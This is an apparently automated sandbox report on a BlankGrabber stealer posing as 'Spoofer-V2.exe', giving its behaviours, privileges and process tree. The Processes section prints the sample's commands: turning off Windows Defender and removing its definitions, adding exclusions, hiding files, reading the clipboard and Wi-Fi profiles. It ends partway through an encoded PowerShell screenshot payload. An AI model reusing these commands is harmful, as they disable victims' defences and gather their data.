Malware Analysis Report

2024-10-16 07:19

Sample ID 240624-1jjs7awdqk
Target Spoofer-V2.exe
SHA256 b10488502194f6a2ba6bdf545d38f5c636f0f821564b0a174a573beaee2dfe01
Tags
blankgrabber defense_evasion evasion execution persistence privilege_escalation spyware stealer upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b10488502194f6a2ba6bdf545d38f5c636f0f821564b0a174a573beaee2dfe01

Threat Level: Known bad

The file Spoofer-V2.exe was found to be: Known bad.

Malicious Activity Summary

blankgrabber defense_evasion evasion execution persistence privilege_escalation spyware stealer upx

Deletes Windows Defender Definitions

A stealer written in Python and packaged with Pyinstaller

Blankgrabber family

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Loads dropped DLL

UPX packed file

Reads user/profile data of web browsers

Executes dropped EXE

Looks up external IP address via web service

Accesses cryptocurrency files/wallets, possible credential harvesting

Hide Artifacts: Hidden Files and Directories

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

Runs ping.exe

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Detects videocard installed

Suspicious behavior: EnumeratesProcesses

Enumerates processes with tasklist

Gathers system information

Views/modifies file attributes

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-24 21:40

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-24 21:40

Reported

2024-06-24 21:42

Platform

win10-20240611-en

Max time kernel

73s

Max time network

82s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI48162\rar.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4816 wrote to memory of 1392 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe
PID 4816 wrote to memory of 1392 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe
PID 1392 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 5108 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 4484 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 4484 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 4888 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 4888 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 5108 wrote to memory of 2196 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5108 wrote to memory of 2196 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3724 wrote to memory of 3348 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 3724 wrote to memory of 3348 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4484 wrote to memory of 1644 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4484 wrote to memory of 1644 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1392 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 4888 wrote to memory of 3720 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4888 wrote to memory of 3720 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1392 wrote to memory of 2200 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 2200 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 4316 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 4316 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 3044 wrote to memory of 4892 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3044 wrote to memory of 4892 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2980 wrote to memory of 496 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2980 wrote to memory of 496 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1876 wrote to memory of 1400 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1876 wrote to memory of 1400 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4316 wrote to memory of 3644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4316 wrote to memory of 3644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 1392 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 4744 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 4744 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 928 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 2912 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 2912 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 2200 wrote to memory of 1740 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2200 wrote to memory of 1740 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1392 wrote to memory of 3532 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 3532 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1608 wrote to memory of 3032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1608 wrote to memory of 3032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 4744 wrote to memory of 4504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 4744 wrote to memory of 4504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 2912 wrote to memory of 652 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2912 wrote to memory of 652 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 928 wrote to memory of 212 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 928 wrote to memory of 212 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3532 wrote to memory of 1916 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3532 wrote to memory of 1916 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 1392 wrote to memory of 776 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 776 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\cmd.exe
PID 1392 wrote to memory of 3968 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\getmac.exe
PID 1392 wrote to memory of 3968 N/A C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe C:\Windows\system32\getmac.exe
PID 776 wrote to memory of 1076 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 776 wrote to memory of 1076 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe

"C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe"

C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe

"C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\​    .scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe'

C:\Windows\system32\attrib.exe

attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\​    .scr'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOw